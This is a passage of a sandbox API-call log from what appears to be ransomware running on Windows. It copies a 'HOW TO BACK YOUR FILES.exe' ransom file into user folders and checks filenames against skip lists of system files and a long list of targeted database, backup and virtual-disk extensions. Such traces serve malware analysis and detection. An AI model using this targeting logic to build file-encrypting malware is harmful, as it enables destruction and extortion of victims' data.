	[0062.889] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR"
	[0062.889] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0062.889] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0062.889] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR") returned 61
	[0062.889] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR"
	[0062.889] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.889] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0062.890] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0062.890] GetLastError () returned 0x0
	[0062.890] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0062.890] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0062.890] CloseHandle (hObject=0x15c) returned 1
	[0062.890] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0062.890] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.890] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f25a750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f25a750, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.890] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.890] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.890] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.891] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f25a750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f25a750, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.891] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.891] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.891] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.891] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.891] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0062.891] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.891] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0062.891] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0062.891] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0062.891] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0062.891] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0062.891] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0062.891] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0062.891] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0062.891] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0062.891] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0062.891] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0062.891] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0062.891] lstrlenW (lpString="desktop.ini") returned 11
	[0062.891] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\*") returned 63
	[0062.891] lstrcpyW (in: lpString1=0x119e684, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0062.891] lstrlenW (lpString="desktop.ini") returned 11
	[0062.891] lstrlenW (lpString="Apollon865") returned 10
	[0062.891] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0062.891] lstrlenW (lpString=".dll") returned 4
	[0062.891] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0062.891] lstrlenW (lpString=".lnk") returned 4
	[0062.891] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0062.891] lstrlenW (lpString=".ini") returned 4
	[0062.891] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0062.891] lstrlenW (lpString=".sys") returned 4
	[0062.892] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0062.892] lstrlenW (lpString="desktop.ini") returned 11
	[0062.892] lstrlenW (lpString="bak") returned 3
	[0062.892] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0062.892] lstrlenW (lpString="ba_") returned 3
	[0062.892] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0062.892] lstrlenW (lpString="dbb") returned 3
	[0062.892] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0062.892] lstrlenW (lpString="vmdk") returned 4
	[0062.892] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0062.892] lstrlenW (lpString="rar") returned 3
	[0062.892] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0062.892] lstrlenW (lpString="zip") returned 3
	[0062.892] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0062.892] lstrlenW (lpString="tgz") returned 3
	[0062.892] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0062.892] lstrlenW (lpString="vbox") returned 4
	[0062.892] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0062.892] lstrlenW (lpString="vdi") returned 3
	[0062.892] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0062.892] lstrlenW (lpString="vhd") returned 3
	[0062.892] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0062.892] lstrlenW (lpString="vhdx") returned 4
	[0062.892] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0062.892] lstrlenW (lpString="avhd") returned 4
	[0062.892] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0062.892] lstrlenW (lpString="db") returned 2
	[0062.892] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0062.892] lstrlenW (lpString="db2") returned 3
	[0062.892] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0062.892] lstrlenW (lpString="db3") returned 3
	[0062.892] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0062.892] lstrlenW (lpString="dbf") returned 3
	[0062.892] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0062.892] lstrlenW (lpString="mdf") returned 3
	[0062.893] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0062.893] lstrlenW (lpString="mdb") returned 3
	[0062.893] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0062.893] lstrlenW (lpString="sql") returned 3
	[0062.893] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0062.893] lstrlenW (lpString="sqlite") returned 6
	[0062.893] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0062.893] lstrlenW (lpString="sqlite3") returned 7
	[0062.893] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0062.893] lstrlenW (lpString="sqlitedb") returned 8
	[0062.893] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0062.893] lstrlenW (lpString="xml") returned 3
	[0062.893] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0062.893] lstrlenW (lpString="$er") returned 3
	[0062.893] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0062.893] lstrlenW (lpString="4dd") returned 3
	[0062.893] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0062.893] lstrlenW (lpString="4dl") returned 3
	[0062.893] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0062.893] lstrlenW (lpString="^^^") returned 3
	[0062.893] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0062.893] lstrlenW (lpString="abs") returned 3
	[0062.893] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0062.893] lstrlenW (lpString="abx") returned 3
	[0062.893] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0062.893] lstrlenW (lpString="accdb") returned 5
	[0062.893] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0062.893] lstrlenW (lpString="accdc") returned 5
	[0062.893] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0062.893] lstrlenW (lpString="accde") returned 5
	[0062.893] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0062.893] lstrlenW (lpString="accdr") returned 5
	[0062.893] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0062.894] lstrlenW (lpString="accdt") returned 5
	[0062.894] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0062.894] lstrlenW (lpString="accdw") returned 5
	[0062.894] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0062.894] lstrlenW (lpString="accft") returned 5
	[0062.894] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0062.894] lstrlenW (lpString="adb") returned 3
	[0062.894] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0062.894] lstrlenW (lpString="adb") returned 3
	[0062.894] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0062.894] lstrlenW (lpString="ade") returned 3
	[0062.894] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0062.894] lstrlenW (lpString="adf") returned 3
	[0062.894] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0062.894] lstrlenW (lpString="adn") returned 3
	[0062.894] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0062.894] lstrlenW (lpString="adp") returned 3
	[0062.894] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0062.894] lstrlenW (lpString="alf") returned 3
	[0062.894] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0062.894] lstrlenW (lpString="ask") returned 3
	[0062.894] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0062.894] lstrlenW (lpString="btr") returned 3
	[0062.894] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0062.894] lstrlenW (lpString="cat") returned 3
	[0062.894] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0062.894] lstrlenW (lpString="cdb") returned 3
	[0062.894] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0062.894] lstrlenW (lpString="ckp") returned 3
	[0062.894] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0062.894] lstrlenW (lpString="cma") returned 3
	[0062.894] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0062.894] lstrlenW (lpString="cpd") returned 3
	[0062.894] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0062.895] lstrlenW (lpString="dacpac") returned 6
	[0062.895] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0062.895] lstrlenW (lpString="dad") returned 3
	[0062.895] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0062.895] lstrlenW (lpString="dadiagrams") returned 10
	[0062.895] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0062.895] lstrlenW (lpString="daschema") returned 8
	[0062.895] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0062.895] lstrlenW (lpString="db-journal") returned 10
	[0062.895] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0062.895] lstrlenW (lpString="db-shm") returned 6
	[0062.895] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0062.895] lstrlenW (lpString="db-wal") returned 6
	[0062.895] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0062.895] lstrlenW (lpString="dbc") returned 3
	[0062.895] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0062.895] lstrlenW (lpString="dbs") returned 3
	[0062.895] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0062.895] lstrlenW (lpString="dbt") returned 3
	[0062.895] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0062.895] lstrlenW (lpString="dbv") returned 3
	[0062.895] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0062.895] lstrlenW (lpString="dbx") returned 3
	[0062.895] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0062.895] lstrlenW (lpString="dcb") returned 3
	[0062.895] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0062.895] lstrlenW (lpString="dct") returned 3
	[0062.895] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0062.895] lstrlenW (lpString="dcx") returned 3
	[0062.895] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0062.895] lstrlenW (lpString="ddl") returned 3
	[0062.895] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0062.895] lstrlenW (lpString="dlis") returned 4
	[0062.895] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0062.896] lstrlenW (lpString="dp1") returned 3
	[0062.896] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0062.896] lstrlenW (lpString="dqy") returned 3
	[0062.896] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0062.896] lstrlenW (lpString="dsk") returned 3
	[0062.896] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0062.896] lstrlenW (lpString="dsn") returned 3
	[0062.896] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0062.896] lstrlenW (lpString="dtsx") returned 4
	[0062.896] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0062.896] lstrlenW (lpString="dxl") returned 3
	[0062.896] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0062.896] lstrlenW (lpString="eco") returned 3
	[0062.896] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0062.896] lstrlenW (lpString="ecx") returned 3
	[0062.896] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0062.896] lstrlenW (lpString="edb") returned 3
	[0062.896] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0062.896] lstrlenW (lpString="epim") returned 4
	[0062.896] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0062.896] lstrlenW (lpString="fcd") returned 3
	[0062.896] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0062.896] lstrlenW (lpString="fdb") returned 3
	[0062.896] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0062.896] lstrlenW (lpString="fic") returned 3
	[0062.896] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0062.896] lstrlenW (lpString="flexolibrary") returned 12
	[0062.896] lstrlenW (lpString="fm5") returned 3
	[0062.896] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0062.896] lstrlenW (lpString="fmp") returned 3
	[0062.896] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0062.896] lstrlenW (lpString="fmp12") returned 5
	[0062.896] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0062.896] lstrlenW (lpString="fmpsl") returned 5
	[0062.896] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0062.897] lstrlenW (lpString="fol") returned 3
	[0062.897] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0062.897] lstrlenW (lpString="fp3") returned 3
	[0062.897] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0062.897] lstrlenW (lpString="fp4") returned 3
	[0062.897] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0062.897] lstrlenW (lpString="fp5") returned 3
	[0062.897] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0062.897] lstrlenW (lpString="fp7") returned 3
	[0062.897] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0062.897] lstrlenW (lpString="fpt") returned 3
	[0062.897] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0062.897] lstrlenW (lpString="frm") returned 3
	[0062.897] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0062.897] lstrlenW (lpString="gdb") returned 3
	[0062.897] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0062.897] lstrlenW (lpString="gdb") returned 3
	[0062.897] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0062.897] lstrlenW (lpString="grdb") returned 4
	[0062.897] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0062.897] lstrlenW (lpString="gwi") returned 3
	[0062.897] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0062.897] lstrlenW (lpString="hdb") returned 3
	[0062.897] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0062.897] lstrlenW (lpString="his") returned 3
	[0062.897] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0062.897] lstrlenW (lpString="ib") returned 2
	[0062.897] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0062.897] lstrlenW (lpString="idb") returned 3
	[0062.897] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0062.897] lstrlenW (lpString="ihx") returned 3
	[0062.897] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0062.897] lstrlenW (lpString="itdb") returned 4
	[0062.897] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0062.898] lstrlenW (lpString="itw") returned 3
	[0062.898] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0062.898] lstrlenW (lpString="jet") returned 3
	[0062.898] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0062.898] lstrlenW (lpString="jtx") returned 3
	[0062.898] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0062.898] lstrlenW (lpString="kdb") returned 3
	[0062.898] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0062.898] lstrlenW (lpString="kexi") returned 4
	[0062.898] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0062.898] lstrlenW (lpString="kexic") returned 5
	[0062.898] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0062.898] lstrlenW (lpString="kexis") returned 5
	[0062.898] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0062.898] lstrlenW (lpString="lgc") returned 3
	[0062.898] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0062.898] lstrlenW (lpString="lwx") returned 3
	[0062.898] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0062.898] lstrlenW (lpString="maf") returned 3
	[0062.898] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0062.898] lstrlenW (lpString="maq") returned 3
	[0062.898] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0062.898] lstrlenW (lpString="mar") returned 3
	[0062.898] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0062.898] lstrlenW (lpString="marshal") returned 7
	[0062.898] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0062.898] lstrlenW (lpString="mas") returned 3
	[0062.898] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0062.898] lstrlenW (lpString="mav") returned 3
	[0062.898] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0062.898] lstrlenW (lpString="maw") returned 3
	[0062.898] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0062.898] lstrlenW (lpString="mdbhtml") returned 7
	[0062.898] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0062.898] lstrlenW (lpString="mdn") returned 3
	[0062.899] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0062.899] lstrlenW (lpString="mdt") returned 3
	[0062.899] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0062.899] lstrlenW (lpString="mfd") returned 3
	[0062.899] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0062.899] lstrlenW (lpString="mpd") returned 3
	[0062.899] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0062.899] lstrlenW (lpString="mrg") returned 3
	[0062.899] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0062.899] lstrlenW (lpString="mud") returned 3
	[0062.899] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0062.899] lstrlenW (lpString="mwb") returned 3
	[0062.899] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0062.899] lstrlenW (lpString="myd") returned 3
	[0062.899] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0062.899] lstrlenW (lpString="ndf") returned 3
	[0062.899] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0062.899] lstrlenW (lpString="nnt") returned 3
	[0062.899] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0062.899] lstrlenW (lpString="nrmlib") returned 6
	[0062.899] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0062.899] lstrlenW (lpString="ns2") returned 3
	[0062.899] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0062.899] lstrlenW (lpString="ns3") returned 3
	[0062.899] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0062.899] lstrlenW (lpString="ns4") returned 3
	[0062.899] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0062.899] lstrlenW (lpString="nsf") returned 3
	[0062.899] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0062.899] lstrlenW (lpString="nv") returned 2
	[0062.899] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0062.899] lstrlenW (lpString="nv2") returned 3
	[0062.899] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0062.899] lstrlenW (lpString="nwdb") returned 4
	[0062.900] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0062.900] lstrlenW (lpString="nyf") returned 3
	[0062.900] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0062.900] lstrlenW (lpString="odb") returned 3
	[0062.900] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0062.900] lstrlenW (lpString="odb") returned 3
	[0062.900] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0062.900] lstrlenW (lpString="oqy") returned 3
	[0062.900] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0062.900] lstrlenW (lpString="ora") returned 3
	[0062.900] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0062.900] lstrlenW (lpString="orx") returned 3
	[0062.900] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0062.900] lstrlenW (lpString="owc") returned 3
	[0062.900] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0062.900] lstrlenW (lpString="p96") returned 3
	[0062.900] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0062.900] lstrlenW (lpString="p97") returned 3
	[0062.900] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0062.900] lstrlenW (lpString="pan") returned 3
	[0062.900] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0062.900] lstrlenW (lpString="pdb") returned 3
	[0062.900] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0062.900] lstrlenW (lpString="pdm") returned 3
	[0062.900] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0062.900] lstrlenW (lpString="pnz") returned 3
	[0062.900] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0062.900] lstrlenW (lpString="qry") returned 3
	[0062.900] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0062.900] lstrlenW (lpString="qvd") returned 3
	[0062.900] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0062.901] lstrlenW (lpString="rbf") returned 3
	[0062.901] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0062.901] lstrlenW (lpString="rctd") returned 4
	[0062.901] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0062.901] lstrlenW (lpString="rod") returned 3
	[0062.901] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0062.901] lstrlenW (lpString="rodx") returned 4
	[0062.901] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0062.901] lstrlenW (lpString="rpd") returned 3
	[0062.901] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0062.901] lstrlenW (lpString="rsd") returned 3
	[0062.901] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0062.901] lstrlenW (lpString="sas7bdat") returned 8
	[0062.901] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0062.901] lstrlenW (lpString="sbf") returned 3
	[0062.901] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0062.901] lstrlenW (lpString="scx") returned 3
	[0062.901] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0062.901] lstrlenW (lpString="sdb") returned 3
	[0062.901] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0062.901] lstrlenW (lpString="sdc") returned 3
	[0062.901] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0062.901] lstrlenW (lpString="sdf") returned 3
	[0062.901] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0062.901] lstrlenW (lpString="sis") returned 3
	[0062.901] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0062.901] lstrlenW (lpString="spq") returned 3
	[0062.901] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0062.901] lstrlenW (lpString="te") returned 2
	[0062.901] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0062.901] lstrlenW (lpString="teacher") returned 7
	[0062.901] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0062.901] lstrlenW (lpString="tmd") returned 3
	[0062.901] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0062.902] lstrlenW (lpString="tps") returned 3
	[0062.902] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0062.902] lstrlenW (lpString="trc") returned 3
	[0062.902] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
